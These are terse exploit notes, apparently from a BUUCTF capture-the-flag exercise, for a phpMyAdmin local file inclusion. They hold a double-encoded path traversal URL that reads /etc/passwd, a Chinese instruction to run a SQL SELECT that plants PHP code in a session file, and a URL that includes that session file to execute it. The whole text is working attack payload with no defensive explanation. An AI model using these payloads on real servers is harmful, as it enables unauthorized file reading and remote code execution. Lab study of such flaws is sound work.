http://your-ip:8080/index.PHP?target=db_sql.PHP%253f/../../../../../../../../etc/passwd
在sql里面执行 SELECT '<?=PHPinfo()?>';
SELECT '<?=PHPinfo()?>';
http://node4.buuoj.cn:26180/index.PHP?target=sql.PHP?/../../../../../../../../../tmp/sess_be13990e05aa8958689867e1d1b31c67